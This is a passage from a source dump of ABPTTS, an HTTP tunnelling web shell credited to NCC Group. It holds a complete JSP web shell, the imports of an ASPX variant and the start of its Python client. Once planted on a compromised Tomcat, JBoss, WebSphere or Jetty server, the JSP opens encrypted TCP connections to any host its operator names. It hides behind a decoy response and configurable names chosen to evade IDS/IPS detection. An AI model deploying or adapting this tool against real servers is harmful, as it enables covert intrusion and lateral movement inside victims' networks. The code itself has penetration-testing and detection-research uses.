Apache Tomcat 30 | 3.3.2 (Oracle JRE 1.5.0_22 / Windows 7 / x86-64 / VMWare Fusion) 31 | 32 | 4.1.40 (Oracle JRE 1.5.0_22 / Windows 7 / x86-64 / VMWare Fusion) 33 | 34 | 5.5.36 (Oracle JRE 1.5.0_22 / Windows 7 / x86-64 / VMWare Fusion) 35 | 36 | 6.0.0 (Oracle JRE 1.6.0_13-b03 / OpenSolaris 9 5.11 / x86 / VMWare Fusion) 37 | 38 | 6.0.24-45.el6 (OpenJDK 1.6.0_24 / CentOS 6.3 / x86-64 / VMWare Fusion) 39 | 40 | 6.0.45 (Oracle JRE 1.8.0_91-b15 / Windows 7 / x86-64 / VMWare Fusion) 41 | 42 | 7.0.70 (Oracle JRE 1.8.0_91-b15 / Windows 7 / x86-64 / VMWare Fusion) 43 | 44 | 8.0.14-1 (OpenJDK 1.7.0_79 / Debian 8 / x86-64 / VMWare Fusion) 45 | 46 | 8.0.14-1 (OpenJDK 1.7.0_79 / Debian 8 / x86-64 / VirtualBox) 47 | 48 | IBM WebSphere Application Server 49 | 8.5.5.0 gm1319.01 (IBM J9 VM (build 2.6, JRE 1.6.0 Windows 8 amd64-64) / Windows 10 / x86-64 / VMWare Fusion) 50 | 51 | JBoss 52 | 5.1.0.GA (gij (GNU libgcj) 4.1.2 20080704 (Red Hat 4.1.2-52) / CentOS 5.8 / x86-64 / VMWare Fusion) 53 | 54 | Jetty 55 | 9.3.6.v20151106 (Oracle JRE 1.8.0_71-b15 / Debian 8 / x86-64 / VMWare Fusion) 56 | 57 | */ 58 | 59 | %><%@page import="java.io.*,java.net.*,java.util.*,sun.misc.BASE64Decoder,sun.misc.BASE64Encoder,javax.naming.*,javax.servlet.jsp.PageContext,java.security.*,javax.crypto.*,javax.crypto.spec.*"%><%! 60 | 61 | final public static char[] hexArray = "0123456789ABCDEF".toCharArray(); 62 | 63 | class SessionConnection 64 | { 65 | public String ConnectionID; 66 | public int PortNumber; 67 | public String Host; 68 | public Socket Sock; 69 | public int UnusedIterations; 70 | public byte[] ReceiveBuffer; 71 | 72 | public SessionConnection() 73 | { 74 | ConnectionID = GenerateConnectionID(); 75 | PortNumber = -1; 76 | Host = ""; 77 | UnusedIterations = 0; 78 | ReceiveBuffer = new byte[0]; 79 | } 80 | 81 | public void AddBytesToReceiveBuffer(byte[] newBytes) 82 | { 83 | if (newBytes.length > 0) 84 | { 85 | byte[] newReceiveBuffer = new byte[ReceiveBuffer.length + newBytes.length]; 86 | System.arraycopy(ReceiveBuffer, 0, newReceiveBuffer, 0, ReceiveBuffer.length); 87 | System.arraycopy(newBytes, 0, newReceiveBuffer, ReceiveBuffer.length, newBytes.length); 88 | ReceiveBuffer = newReceiveBuffer; 89 | } 90 | } 91 | 92 | public byte[] GetBytesFromReceiveBuffer(int maxBytes) 93 | { 94 | int byteCount = maxBytes; 95 | if (byteCount > ReceiveBuffer.length) 96 | { 97 | byteCount = ReceiveBuffer.length; 98 | } 99 | byte[] result = new byte[byteCount]; 100 | 101 | System.arraycopy(ReceiveBuffer, 0, result, 0, byteCount); 102 | 103 | if (byteCount == ReceiveBuffer.length) 104 | { 105 | ReceiveBuffer = new byte[0]; 106 | } 107 | else 108 | { 109 | int newByteCount = ReceiveBuffer.length - byteCount; 110 | byte[] newReceiveBuffer = new byte[newByteCount]; 111 | System.arraycopy(ReceiveBuffer, byteCount, newReceiveBuffer, 0, newByteCount); 112 | ReceiveBuffer = newReceiveBuffer; 113 | } 114 | return result; 115 | } 116 | 117 | public String GenerateConnectionID() 118 | { 119 | Random r = new Random(); 120 | 121 | byte[] connID = new byte[8]; 122 | 123 | r.nextBytes(connID); 124 | 125 | return bytesToHex(connID); 126 | } 127 | 128 | public String bytesToHex(byte[] bytes) 129 | { 130 | char[] hexChars = new char[bytes.length * 2]; 131 | for ( int j = 0; j < bytes.length; j++ ) 132 | { 133 | int v = bytes[j] & 0xFF; 134 | hexChars[j * 2] = hexArray[v >>> 4]; 135 | hexChars[j * 2 + 1] = hexArray[v & 0x0F]; 136 | } 137 | return new String(hexChars); 138 | } 139 | } 140 | 141 | public byte[] hexStringToByteArray(String s) { 142 | int len = s.length(); 143 | byte[] data = new byte[len / 2]; 144 | for (int i = 0; i < len; i += 2) { 145 | data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) 146 | + Character.digit(s.charAt(i+1), 16)); 147 | } 148 | return data; 149 | } 150 | 151 | public byte[] GenerateRandomBytes(int byteCount) 152 | { 153 | byte[] result = new byte[byteCount]; 154 | new Random().nextBytes(result); 155 | return result; 156 | } 157 | 158 | public byte[] EncryptData(byte[] plainText, Cipher c, byte[] key, int blockSize) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException 159 | { 160 | byte[] iv = GenerateRandomBytes(blockSize); 161 | // typical AES encryption depends on the IV alone preventing identical inputs from 162 | // encrypting to identical outputs 163 | // MIT Kerberos uses a model in which the IV is set to all zeroes, but the first 164 | // block of data is random, and then discarded on decryption 165 | // I think of this as a "reinitialization vector" that takes place on the other 166 | // side of the encryption "looking glass". It should also help protect against 167 | // theoretical known-plaintext vulnerabilities in AES. 168 | // why not use both? 169 | byte[] reIV = GenerateRandomBytes(blockSize); 170 | SecretKey key2 = new SecretKeySpec(key, 0, key.length, "AES"); 171 | c.init(Cipher.ENCRYPT_MODE, key2, new IvParameterSpec(iv)); 172 | byte[] rivPlainText = new byte[plainText.length + blockSize]; 173 | System.arraycopy(reIV, 0, rivPlainText, 0, reIV.length); 174 | System.arraycopy(plainText, 0, rivPlainText, blockSize, plainText.length); 175 | byte[] cipherText = c.doFinal(rivPlainText); 176 | byte[] ivCipherText = new byte[cipherText.length + blockSize]; 177 | System.arraycopy(iv, 0, ivCipherText, 0, iv.length); 178 | System.arraycopy(cipherText, 0, ivCipherText, blockSize, cipherText.length); 179 | return ivCipherText; 180 | } 181 | 182 | public byte[] DecryptData(byte[] cipherText, Cipher c, byte[] key, int blockSize) throws InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException 183 | { 184 | byte[] iv = new byte[blockSize]; 185 | byte[] strippedCipherText = new byte[cipherText.length - blockSize]; 186 | System.arraycopy(cipherText, 0, iv, 0, blockSize); 187 | System.arraycopy(cipherText, blockSize, strippedCipherText, 0, strippedCipherText.length); 188 | SecretKey key2 = new SecretKeySpec(key, 0, key.length, "AES"); 189 | c.init(Cipher.DECRYPT_MODE, key2, new IvParameterSpec(iv)); 190 | byte[] rivPlainText = c.doFinal(strippedCipherText); 191 | byte[] plainText = new byte[rivPlainText.length - blockSize]; 192 | System.arraycopy(rivPlainText, blockSize, plainText, 0, plainText.length); 193 | return plainText; 194 | } 195 | 196 | %><% 197 | 198 | /* Begin configurable options */ 199 | 200 | int serverSocketMaxUnusedIterations = %PLACEHOLDER_serverSocketMaxUnusedIterations%; 201 | 202 | int serverSocketIOTimeout = %PLACEHOLDER_serverSocketIOTimeout%; 203 | int serverSocketSendBufferSize = %PLACEHOLDER_serverSocketSendBufferSize%; 204 | int serverSocketReceiveBufferSize = %PLACEHOLDER_serverSocketReceiveBufferSize%; 205 | 206 | int serverToClientBlockSize = %PLACEHOLDER_serverToClientBlockSize%; 207 | 208 | /* Most of the options in this section are configurable to avoid simplistic string-based IDS/IPS-type detection */ 209 | /* If they are altered, be sure to pass the corresponding alternate values to the Python client software */ 210 | 211 | String headerValueKey = "%PLACEHOLDER_headerValueKey%"; 212 | String encryptionKeyHex = "%PLACEHOLDER_encryptionKeyHex%"; 213 | 214 | String headerNameKey = "%PLACEHOLDER_headerNameKey%"; 215 | 216 | String accessKeyMode = "%PLACEHOLDER_accessKeyMode%"; 217 | String paramNameAccessKey = "%PLACEHOLDER_paramNameAccessKey%"; 218 | 219 | String paramNameOperation = "%PLACEHOLDER_paramNameOperation%"; 220 | String paramNameDestinationHost = "%PLACEHOLDER_paramNameDestinationHost%"; 221 | String paramNameDestinationPort = "%PLACEHOLDER_paramNameDestinationPort%"; 222 | String paramNameConnectionID = "%PLACEHOLDER_paramNameConnectionID%"; 223 | String paramNameData = "%PLACEHOLDER_paramNameData%"; 224 | String paramNamePlaintextBlock = "%PLACEHOLDER_paramNamePlaintextBlock%"; 225 | String paramNameEncryptedBlock = "%PLACEHOLDER_paramNameEncryptedBlock%"; 226 | 227 | String dataBlockNameValueSeparatorB64 = "%PLACEHOLDER_dataBlockNameValueSeparatorB64%"; 228 | String dataBlockParamSeparatorB64 = "%PLACEHOLDER_dataBlockParamSeparatorB64%"; 229 | 230 | String opModeStringOpenConnection = "%PLACEHOLDER_opModeStringOpenConnection%"; 231 | String opModeStringSendReceive = "%PLACEHOLDER_opModeStringSendReceive%"; 232 | String opModeStringCloseConnection = "%PLACEHOLDER_opModeStringCloseConnection%"; 233 | 234 | String responseStringHide = "%PLACEHOLDER_responseStringHide%"; 235 | String responseStringConnectionCreated = "%PLACEHOLDER_responseStringConnectionCreated%"; 236 | String responseStringConnectionClosed = "%PLACEHOLDER_responseStringConnectionClosed%"; 237 | String responseStringData = "%PLACEHOLDER_responseStringData%"; 238 | String responseStringNoData = "%PLACEHOLDER_responseStringNoData%"; 239 | String responseStringErrorGeneric = "%PLACEHOLDER_responseStringErrorGeneric%"; 240 | String responseStringErrorInvalidRequest = "%PLACEHOLDER_responseStringErrorInvalidRequest%"; 241 | String responseStringErrorConnectionNotFound = "%PLACEHOLDER_responseStringErrorConnectionNotFound%"; 242 | String responseStringErrorConnectionOpenFailed = "%PLACEHOLDER_responseStringErrorConnectionOpenFailed%"; 243 | String responseStringErrorConnectionCloseFailed = "%PLACEHOLDER_responseStringErrorConnectionCloseFailed%"; 244 | String responseStringErrorConnectionSendFailed = "%PLACEHOLDER_responseStringErrorConnectionSendFailed%"; 245 | String responseStringErrorConnectionReceiveFailed = "%PLACEHOLDER_responseStringErrorConnectionReceiveFailed%"; 246 | String responseStringErrorDecryptFailed = "%PLACEHOLDER_responseStringErrorDecryptFailed%"; 247 | String responseStringErrorEncryptFailed = "%PLACEHOLDER_responseStringErrorEncryptFailed%"; 248 | String responseStringErrorEncryptionNotSupported = "%PLACEHOLDER_responseStringErrorEncryptionNotSupported%"; 249 | String responseStringPrefixB64 = "%PLACEHOLDER_responseStringPrefixB64%"; 250 | String responseStringSuffixB64 = "%PLACEHOLDER_responseStringSuffixB64%"; 251 | 252 | /* End configurable options */ 253 | 254 | BASE64Decoder base64decoder = new BASE64Decoder(); 255 | 256 | String responseStringPrefix = new String(base64decoder.decodeBuffer(responseStringPrefixB64)); 257 | String responseStringSuffix = new String(base64decoder.decodeBuffer(responseStringSuffixB64)); 258 | 259 | String dataBlockNameValueSeparator = new String(base64decoder.decodeBuffer(dataBlockNameValueSeparatorB64)); 260 | String dataBlockParamSeparator = new String(base64decoder.decodeBuffer(dataBlockParamSeparatorB64)); 261 | 262 | int OPMODE_HIDE = 0; 263 | int OPMODE_DEFAULT = 1; 264 | int OPMODE_OPEN = 2; 265 | int OPMODE_SEND_RECEIVE = 4; 266 | int OPMODE_CLOSE = 8; 267 | /* To do: file upload/download, OS command execution */ 268 | int OPMODE_UPLOAD = 16; 269 | int OPMODE_DOWNLOAD = 32; 270 | int OPMODE_CMD_EXEC = 64; 271 | 272 | int opMode = OPMODE_HIDE; 273 | 274 | int encryptionBlockSize = 16; 275 | 276 | /* response.setBufferSize(6553600); */ 277 | 278 | byte[] encryptionKey = new byte[] {}; 279 | 280 | try 281 | { 282 | encryptionKey = hexStringToByteArray(encryptionKeyHex); 283 | } 284 | catch (Exception ex) 285 | { 286 | encryptionKey = new byte[] {}; 287 | } 288 | 289 | Cipher cipher = null; 290 | 291 | try 292 | { 293 | cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 294 | } 295 | catch (Exception ex) 296 | { 297 | cipher = null; 298 | } 299 | 300 | 301 | try 302 | { 303 | if (accessKeyMode.equals("header")) 304 | { 305 | if (request.getHeader(headerNameKey).toString().trim().equals(headerValueKey.trim())) 306 | { 307 | opMode = OPMODE_DEFAULT; 308 | } 309 | } 310 | else 311 | { 312 | if (request.getParameter(paramNameAccessKey).toString().trim().equals(headerValueKey.trim())) 313 | { 314 | opMode = OPMODE_DEFAULT; 315 | } 316 | } 317 | } 318 | catch (Exception ex) 319 | { 320 | opMode = OPMODE_HIDE; 321 | } 322 | %><%=responseStringPrefix%><% 323 | if (opMode == OPMODE_HIDE) 324 | { 325 | /* Begin: replace this block of code with alternate JSP code to use a different "innocuous" default response */ 326 | /* E.g. copy/paste from your favourite server status page JSP */ 327 | %><%=responseStringHide%><% 328 | /* End: replace this block of code with alternate JSP code to use a different "innocuous" default response */ 329 | } 330 | if (opMode != OPMODE_HIDE) 331 | { 332 | PageContext context; 333 | HttpSession currentSession; 334 | int DestPort = -1; 335 | String RequestedOp = ""; 336 | String DestHost = ""; 337 | String DataB64 = ""; 338 | String ConnectionID = ""; 339 | Hashtable Connections = new Hashtable(); 340 | SessionConnection Conn = new SessionConnection(); 341 | boolean encryptedRequest = false; 342 | String unpackedBlock = ""; 343 | Hashtable unpackedParams = new Hashtable(); 344 | boolean sentResponse = false; 345 | 346 | boolean validRequest = true; 347 | 348 | try 349 | { 350 | if ((request.getParameter(paramNameEncryptedBlock) != null) || (request.getParameter(paramNamePlaintextBlock) != null)) 351 | { 352 | byte[] decodedBytes = new byte[0]; 353 | if ((request.getParameter(paramNameEncryptedBlock) != null) && (cipher != null) && (encryptionKey.length > 0)) 354 | { 355 | decodedBytes = base64decoder.decodeBuffer(request.getParameter(paramNameEncryptedBlock)); 356 | try 357 | { 358 | byte[] decryptedBytes = DecryptData(decodedBytes, cipher, encryptionKey, encryptionBlockSize); 359 | unpackedBlock = new String(decryptedBytes, "UTF-8"); 360 | encryptedRequest = true; 361 | } 362 | catch (Exception ex) 363 | { 364 | %><%=responseStringErrorDecryptFailed%><% 365 | /* return; */ 366 | validRequest = false; 367 | sentResponse = true; 368 | } 369 | } 370 | else 371 | { 372 | decodedBytes = base64decoder.decodeBuffer(request.getParameter(paramNamePlaintextBlock)); 373 | unpackedBlock = new String(decodedBytes, "UTF-8"); 374 | } 375 | 376 | if (validRequest) 377 | { 378 | String[] paramArray = unpackedBlock.split(dataBlockParamSeparator); 379 | if (paramArray.length > 0) 380 | { 381 | for (int i = 0; i < paramArray.length; i++) 382 | { 383 | String currentParam = paramArray[i]; 384 | String[] pvArray = currentParam.split(dataBlockNameValueSeparator); 385 | if (pvArray.length > 1) 386 | { 387 | unpackedParams.put(pvArray[0], pvArray[1]); 388 | } 389 | } 390 | } 391 | } 392 | } 393 | } 394 | catch (Exception ex) 395 | { 396 | validRequest = false; 397 | } 398 | 399 | if (validRequest) 400 | { 401 | try 402 | { 403 | if (unpackedParams.containsKey(paramNameOperation)) 404 | { 405 | RequestedOp = (String)unpackedParams.get(paramNameOperation); 406 | } 407 | } 408 | catch (Exception ex) 409 | { 410 | RequestedOp = ""; 411 | } 412 | 413 | try 414 | { 415 | if (unpackedParams.containsKey(paramNameDestinationHost)) 416 | { 417 | DestHost = (String)unpackedParams.get(paramNameDestinationHost); 418 | } 419 | } 420 | catch (Exception ex) 421 | { 422 | DestHost = ""; 423 | } 424 | 425 | try 426 | { 427 | if (unpackedParams.containsKey(paramNameConnectionID)) 428 | { 429 | ConnectionID = (String)unpackedParams.get(paramNameConnectionID); 430 | } 431 | } 432 | catch (Exception ex) 433 | { 434 | ConnectionID = ""; 435 | } 436 | 437 | try 438 | { 439 | if (unpackedParams.containsKey(paramNameDestinationPort)) 440 | { 441 | DestPort = (Integer.parseInt((String)unpackedParams.get(paramNameDestinationPort))); 442 | } 443 | } 444 | catch (Exception ex) 445 | { 446 | DestPort = -1; 447 | } 448 | 449 | try 450 | { 451 | if (unpackedParams.containsKey(paramNameData)) 452 | { 453 | DataB64 = (String)unpackedParams.get(paramNameData); 454 | } 455 | } 456 | catch (Exception ex) 457 | { 458 | DataB64 = ""; 459 | } 460 | 461 | if (RequestedOp.equals("")) 462 | { 463 | validRequest = false; 464 | } 465 | } 466 | 467 | if (validRequest) 468 | { 469 | if (RequestedOp.equals(opModeStringOpenConnection)) 470 | { 471 | opMode = OPMODE_OPEN; 472 | if (DestHost.equals("")) 473 | { 474 | validRequest = false; 475 | } 476 | if (DestPort == -1) 477 | { 478 | validRequest = false; 479 | } 480 | } 481 | if (RequestedOp.equals(opModeStringSendReceive)) 482 | { 483 | opMode = OPMODE_SEND_RECEIVE; 484 | if (ConnectionID.equals("")) 485 | { 486 | validRequest = false; 487 | } 488 | } 489 | if (RequestedOp.equals(opModeStringCloseConnection)) 490 | { 491 | opMode = OPMODE_CLOSE; 492 | if (ConnectionID.equals("")) 493 | { 494 | validRequest = false; 495 | } 496 | } 497 | } 498 | 499 | if (!validRequest) 500 | { 501 | if (!sentResponse) 502 | { 503 | %><%=responseStringErrorInvalidRequest%><% 504 | /* return; */ 505 | } 506 | } 507 | else 508 | { 509 | try 510 | { 511 | Connections = (Hashtable)session.getAttribute("SessionConnections"); 512 | if (Connections == null) 513 | { 514 | Connections = new Hashtable(); 515 | } 516 | } 517 | catch (Exception ex) 518 | { 519 | Connections = new Hashtable(); 520 | } 521 | 522 | if (opMode == OPMODE_OPEN) 523 | { 524 | Conn = new SessionConnection(); 525 | Conn.Host = DestHost; 526 | Conn.PortNumber = DestPort; 527 | ConnectionID = Conn.ConnectionID; 528 | try 529 | { 530 | Conn.Sock = new Socket(DestHost, DestPort); 531 | Conn.Sock.setSoTimeout(serverSocketIOTimeout); 532 | Conn.Sock.setSendBufferSize(serverSocketSendBufferSize); 533 | Conn.Sock.setReceiveBufferSize(serverSocketReceiveBufferSize); 534 | /* Conn.Sock.setTcpNoDelay(true); */ 535 | Connections.put(ConnectionID, Conn); 536 | %><%=responseStringConnectionCreated%> <%=ConnectionID%><% 537 | sentResponse = true; 538 | } 539 | catch (Exception ex) 540 | { 541 | %><%=responseStringErrorConnectionOpenFailed%><% 542 | /* return; */ 543 | validRequest = false; 544 | sentResponse = true; 545 | } 546 | } 547 | } 548 | 549 | if ((validRequest) && (opMode == OPMODE_SEND_RECEIVE) || (opMode == OPMODE_CLOSE)) 550 | { 551 | if (Connections.containsKey(ConnectionID)) 552 | { 553 | try 554 | { 555 | Conn = (SessionConnection)Connections.get(ConnectionID); 556 | if (Conn.Sock == null) 557 | { 558 | validRequest = false; 559 | Connections.remove(ConnectionID); 560 | } 561 | } 562 | catch (Exception ex) 563 | { 564 | validRequest = false; 565 | } 566 | } 567 | else 568 | { 569 | validRequest = false; 570 | } 571 | 572 | if (!validRequest) 573 | { 574 | if (!sentResponse) 575 | { 576 | %><%=responseStringErrorConnectionNotFound%><% 577 | /* return; */ 578 | validRequest = false; 579 | sentResponse = true; 580 | } 581 | } 582 | } 583 | 584 | if ((validRequest) && (opMode == OPMODE_SEND_RECEIVE)) 585 | { 586 | InputStream is = null; 587 | try 588 | { 589 | is = Conn.Sock.getInputStream(); 590 | } 591 | catch (Exception ex) 592 | { 593 | Conn.Sock = new Socket(DestHost, DestPort); 594 | Conn.Sock.setSoTimeout(serverSocketIOTimeout); 595 | Conn.Sock.setSendBufferSize(serverSocketSendBufferSize); 596 | Conn.Sock.setReceiveBufferSize(serverSocketReceiveBufferSize); 597 | /* Conn.Sock.setTcpNoDelay(true); */ 598 | is = Conn.Sock.getInputStream(); 599 | } 600 | DataInputStream inStream = new DataInputStream(is); 601 | DataOutputStream outStream = new DataOutputStream(Conn.Sock.getOutputStream()); 602 | 603 | byte[] bytesOut = base64decoder.decodeBuffer(DataB64); 604 | 605 | boolean socketStillOpen = true; 606 | 607 | try 608 | { 609 | outStream.write(bytesOut); 610 | outStream.flush(); 611 | } 612 | catch (Exception ex) 613 | { 614 | socketStillOpen = false; 615 | opMode = OPMODE_CLOSE; 616 | } 617 | 618 | byte[] bytesIn = new byte[0]; 619 | 620 | if (socketStillOpen) 621 | { 622 | byte[] buf = new byte[6553600]; 623 | int maxReadAttempts = 65536000; 624 | maxReadAttempts = 1000; 625 | int readAttempts = 0; 626 | int nRead = 0; 627 | boolean doneReading = false; 628 | try 629 | { 630 | nRead = inStream.read(buf); 631 | if (nRead < 0) 632 | { 633 | doneReading = true; 634 | } 635 | } 636 | catch (Exception ex) 637 | { 638 | doneReading = true; 639 | } 640 | while (!doneReading) 641 | { 642 | byte[] newBytesIn = new byte[bytesIn.length + nRead]; 643 | if (bytesIn.length > 0) 644 | { 645 | System.arraycopy(bytesIn, 0, newBytesIn, 0, bytesIn.length); 646 | } 647 | if (nRead > 0) 648 | { 649 | System.arraycopy(buf, 0, newBytesIn, bytesIn.length, nRead); 650 | bytesIn = newBytesIn; 651 | } 652 | try 653 | { 654 | nRead = inStream.read(buf); 655 | if (nRead < 0) 656 | { 657 | doneReading = true; 658 | } 659 | } 660 | catch (Exception ex) 661 | { 662 | doneReading = true; 663 | } 664 | readAttempts++; 665 | if (readAttempts > maxReadAttempts) 666 | { 667 | doneReading = true; 668 | } 669 | } 670 | 671 | synchronized(session) 672 | { 673 | Conn.AddBytesToReceiveBuffer(bytesIn); 674 | } 675 | } 676 | 677 | if (Conn.ReceiveBuffer.length > 0) 678 | { 679 | String OutB64 = ""; 680 | BASE64Encoder base64encoder = new BASE64Encoder(); 681 | byte[] toClient = new byte[0]; 682 | synchronized(session) 683 | { 684 | toClient = Conn.GetBytesFromReceiveBuffer(serverToClientBlockSize); 685 | } 686 | if (encryptedRequest) 687 | { 688 | try 689 | { 690 | byte[] encryptedBytes = EncryptData(toClient, cipher, encryptionKey, encryptionBlockSize); 691 | OutB64 = base64encoder.encode(encryptedBytes); 692 | } 693 | catch (Exception ex) 694 | { 695 | %><%=responseStringErrorEncryptFailed%><% 696 | /* return; */ 697 | validRequest = false; 698 | sentResponse = true; 699 | } 700 | } 701 | else 702 | { 703 | OutB64 = base64encoder.encode(toClient); 704 | } 705 | if (!sentResponse) 706 | { 707 | %><%=responseStringData%> <%=OutB64%><% 708 | sentResponse = true; 709 | } 710 | } 711 | else 712 | { 713 | if (!sentResponse) 714 | { 715 | %><%=responseStringNoData%><% 716 | sentResponse = true; 717 | } 718 | } 719 | } 720 | 721 | if ((validRequest) && (opMode == OPMODE_CLOSE)) 722 | { 723 | try 724 | { 725 | Conn.Sock.close(); 726 | if (!sentResponse) 727 | { 728 | %><%=responseStringConnectionClosed%> <%=ConnectionID%><% 729 | sentResponse = true; 730 | } 731 | } 732 | catch (Exception ex) 733 | { 734 | if (!sentResponse) 735 | { 736 | %><%=responseStringErrorConnectionCloseFailed%><% 737 | sentResponse = true; 738 | } 739 | } 740 | } 741 | 742 | if (validRequest) 743 | { 744 | synchronized(session) 745 | { 746 | try 747 | { 748 | Connections = (Hashtable)session.getAttribute("SessionConnections"); 749 | if (Connections == null) 750 | { 751 | Connections = new Hashtable(); 752 | } 753 | } 754 | catch (Exception ex) 755 | { 756 | Connections = new Hashtable(); 757 | } 758 | 759 | /* Update the current connection (if one exists), and remove stale connections */ 760 | 761 | if (!ConnectionID.equals("")) 762 | { 763 | Conn.UnusedIterations = 0; 764 | if (Connections.containsKey(ConnectionID)) 765 | { 766 | Connections.remove(ConnectionID); 767 | if (opMode != OPMODE_CLOSE) 768 | { 769 | Connections.put(ConnectionID, Conn); 770 | } 771 | } 772 | else 773 | { 774 | Connections.put(ConnectionID, Conn); 775 | } 776 | } 777 | 778 | Enumeration connKeys = Connections.keys(); 779 | while (connKeys.hasMoreElements()) 780 | { 781 | String cid = (String)connKeys.nextElement(); 782 | if (!cid.equals(ConnectionID)) 783 | { 784 | SessionConnection c = (SessionConnection)Connections.get(cid); 785 | Connections.remove(cid); 786 | c.UnusedIterations++; 787 | if (c.UnusedIterations < serverSocketMaxUnusedIterations) 788 | { 789 | Connections.put(cid, c); 790 | } 791 | else 792 | { 793 | try 794 | { 795 | c.Sock.close(); 796 | } 797 | catch (Exception ex) 798 | { 799 | // do nothing 800 | } 801 | } 802 | } 803 | } 804 | 805 | session.setAttribute("SessionConnections", Connections); 806 | } 807 | } 808 | } 809 | %><%=responseStringSuffix%><% 810 | %> -------------------------------------------------------------------------------- /template/abptts.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="C#" %> 2 | <%@ Import Namespace="System" %> 3 | <%@ Import Namespace="System.Collections" %> 4 | <%@ Import Namespace="System.Collections.Generic" %> 5 | <%@ Import Namespace="System.IO" %> 6 | <%@ Import Namespace="System.Net.Sockets" %> 7 | <%@ Import Namespace="System.Security.Cryptography" %> 8 | <%@ Import Namespace="System.Web" %> 9 | 10 | -------------------------------------------------------------------------------- /abpttsclient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This file is part of A Black Path Toward The Sun ("ABPTTS") 4 | 5 | # Copyright 2016 NCC Group 6 | 7 | # A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify 8 | # it under the terms of version 2 of the GNU General Public License as published by 9 | # the Free Software Foundation. 10 | 11 | # A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | 16 | # You should have received a copy of the GNU General Public License 17 | # along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt). 18 | # If not, see . 19 | 20 | # Version 1.0 21 | # Ben Lincoln, NCC Group 22 | # 2016-07-30 23 | 24 | # Client component of A Black Path Toward The Sun 25 | 26 | # it is very likely that you will need to install the httplib2 and pycrypto Python libraries to use ABPTTS. 27 | # e.g.: 28 | # pip install httplib2 29 | # pip install pycrypto 30 | # 31 | # pycrypto may require the installation of additional OS-level packages to obtain the Python headers, e.g. on Debian: 32 | # apt-get install python-dev 33 | # ...or on Windows, download and install https://www.microsoft.com/en-us/download/details.aspx?id=44266 34 | 35 | import base64 36 | import binascii 37 | import httplib2 38 | import inspect 39 | import math 40 | #import multiprocessing 41 | import os 42 | import random 43 | import re 44 | import sys 45 | import socket 46 | import thread 47 | #import threading 48 | import time 49 | import urllib 50 | 51 | import libabptts 52 | 53 | from Crypto.Cipher import AES 54 | from datetime import datetime, date, tzinfo, timedelta 55 | 56 | outputHandler = libabptts.OutputHandler() 57 | conf = libabptts.ABPTTSConfiguration(outputHandler) 58 | 59 | # \\\\\\ Do not modify below this line unless you know what you're doing! ////// 60 | # 61 | 62 | socketTimeoutCurrent = 1.0 63 | clientSocketTimeoutVariationNeg = 0.0 64 | 65 | httpConnectionTimeout = 10.0 66 | httpRequestRetryLimit = 12 67 | httpRequestRetryDelay = 5.0 68 | 69 | unsafeTLSMode = False 70 | 71 | runServer = 1 72 | 73 | clientToServerBuffer = "" 74 | 75 | responseStringWrapperText = [] 76 | 77 | encryptionKey = [] 78 | 79 | dataBlockNameValueSeparator = "" 80 | dataBlockParamSeparator = "" 81 | 82 | encryptionBlockSize = 16 83 | 84 | def showBanner(): 85 | outputHandler.outputMessage("---===[[[ A Black Path Toward The Sun ]]]===---") 86 | outputHandler.outputMessage(" --==[[ - Client - ]]==--") 87 | outputHandler.outputMessage(" Ben Lincoln, NCC Group") 88 | outputHandler.outputMessage(' Version %s - %s' % (libabptts.ABPTTSVersion.GetVersionString(), libabptts.ABPTTSVersion.GetReleaseDateString())) 89 | 90 | #@staticmethod 91 | def pad(s, blockSize): 92 | return s + (blockSize - len(s) % blockSize) * chr(blockSize - len(s) % blockSize) 93 | 94 | #@staticmethod 95 | def unpad(s): 96 | return s[:-ord(s[len(s)-1:])] 97 | 98 | def encrypt(plaintext, key, blockSize): 99 | iv = bytearray(os.urandom(blockSize)) 100 | iv = str(iv) 101 | reIV = bytearray(os.urandom(blockSize)) 102 | reIV = str(reIV) 103 | rivPlaintext = pad(reIV + str(plaintext), blockSize) 104 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext) 105 | cipher = AES.new(key, AES.MODE_CBC, IV=iv) 106 | return iv + str(cipher.encrypt(rivPlaintext)) 107 | 108 | def decrypt(ciphertext, key, blockSize): 109 | #print "ciphertext: " + base64.b64encode(ciphertext) 110 | iv = ciphertext[0:blockSize] 111 | #print "iv: " + base64.b64encode(iv) 112 | #print "ciphertext: " + base64.b64encode(ciphertext) 113 | rivCiphertext = ciphertext[blockSize:] 114 | #print "rivCiphertext: " + base64.b64encode(rivCiphertext) 115 | rivCiphertext = str(rivCiphertext) 116 | #print "rivCiphertext: " + base64.b64encode(rivCiphertext) 117 | cipher = AES.new(key, AES.MODE_CBC, IV=iv) 118 | rivPlaintext = cipher.decrypt(rivCiphertext) 119 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext) 120 | rivPlaintext = str(rivPlaintext) 121 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext) 122 | rivPlaintext = unpad(rivPlaintext) 123 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext) 124 | #rivPlaintext = str(cipher.decrypt(str(rivCiphertext))) 125 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext) 126 | #print "rivPlaintext: " + base64.b64encode(rivPlaintext[blockSize:]) 127 | return rivPlaintext[blockSize:] 128 | #return rivPlaintext 129 | 130 | def outputTunnelIOMessage(direction, clientAddress, listeningAddress, serverAddress, connectionID, category, message): 131 | result = '[(%s)' % (direction) 132 | if direction == "S2C": 133 | result = '%s %s -> %s -> %s' % (result, serverAddress, listeningAddress, clientAddress) 134 | else: 135 | result = '%s %s -> %s -> %s' % (result, clientAddress, listeningAddress, serverAddress) 136 | 137 | if connectionID != None: 138 | if connectionID.strip() != "": 139 | result = '%s (Connection ID: %s)' % (result, connectionID) 140 | if category != None: 141 | if category.strip() != "": 142 | result = '%s (%s)' % (result, category) 